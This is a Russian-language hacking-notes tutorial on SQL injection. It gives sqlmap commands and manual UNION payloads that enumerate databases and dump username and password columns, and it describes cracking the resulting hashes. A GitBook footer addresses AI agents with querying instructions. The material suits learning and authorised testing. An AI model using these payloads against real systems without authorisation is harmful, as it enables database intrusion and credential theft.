> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# SQL-инъекция с SQLMap и ручным тестированием
{% hint style="info" %}
Один **SQL-инъекция** — это уязвимость безопасности в веб-приложениях, которая возникает, когда вредоносные SQL-запросы вставляются в поля ввода для манипулирования базой данных. Это позволяет злоумышленнику получать доступ к несанкционированным данным, изменять их или фильтровать. Такие инструменты, как SQLMap, автоматизируют этот процесс, выявляя и эксплуатируя подобные уязвимости и выполняя SQL-инъекции автоматически. Кроме того, злоумышленники также могут выполнять атаки SQL-инъекцией вручную, напрямую манипулируя запросами, чтобы получить несанкционированный доступ к базе данных.
{% endhint %}
## Автоматизированная SQL-инъекция (SQLMap)
1. Давайте перехватим поисковый запрос с помощью Burp Suite:
2. Давайте сохраним этот запрос в файл, который мы назовём **request.req**:
3. Файл содержит следующее **содержимое**:
4. С помощью **SQLMap** инструмент, давайте запустим следующую команду, чтобы проверить, является ли этот сайт **уязвимый** к **SQL-атаке**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. С помощью этой команды давайте выведем список всех **баз данных**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. С помощью этой команды давайте выведем список всех **таблиц** конкретной базы данных:
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. С помощью этой команды давайте выведем список всех **столбцов** конкретной таблицы:
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. С помощью этой команды давайте посмотрим содержимое **содержимое** столбцов:
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*Если инструмент находит зашифрованные пароли, он автоматически их расшифровывает*:
***
## Ручная SQL-инъекция
1. Давайте перехватим поисковый запрос с помощью Burp Suite:
2. Отправьте этот запрос в **Repeater**:
3. В **searchitem** поле поиска, добавьте это:
```bash
test' order by 100-- -
```
4. Веб-сервер сообщает нам, что **не так много столбцов**:
5. Давайте попробуем **пока ничего не останется** (в данном случае их 5):
6. Теперь мы знаем, что **столбцов 5**, теперь с помощью **union** функции мы **отобразим** их:
```arduino
test' union select 1,2,3,4,5-- -
```
* В случае **изменения имени** 3-го столбца, например "test", оно **также изменится**:
7. Это означает, что если мы введём **database()** или **user()** функцию, то **имя базы данных** или **имя пользователя, под которым работает база данных** будет отображено:
**НИЖЕ ПРИВЕДЕНА ПРОЦЕДУРА РУЧНОГО ПЕРЕЧИСЛЕНИЯ:**
1. Давайте перечислим все **баз данных**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. Давайте перечислим все **таблиц** конкретной базы данных:
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. Давайте перечислим все **столбцов** конкретной таблицы:
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. Давайте отобразим **содержимое столбцов username и password** (в данном случае мы используем столбцы "product name" и "product type"):
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* Давайте перечислим **содержимое столбцов username и password** снова:
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **Давайте скопируем содержимое** в раздел Pretty в Burp Suite:
6. Давайте откроем **текстовый редактор Nvim** и вставим скопированный текст, затем используем эту команду, чтобы правильно его отформатировать: `:%s/,//r/g`
7. С помощью этой команды давайте оставим только хэши и скопируем их в **буфер обмена**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. Наконец, с помощью [сайта Hashes.com](https://hashes.com/en/decrypt/hash) получите пароли в **открытом виде**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ru/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.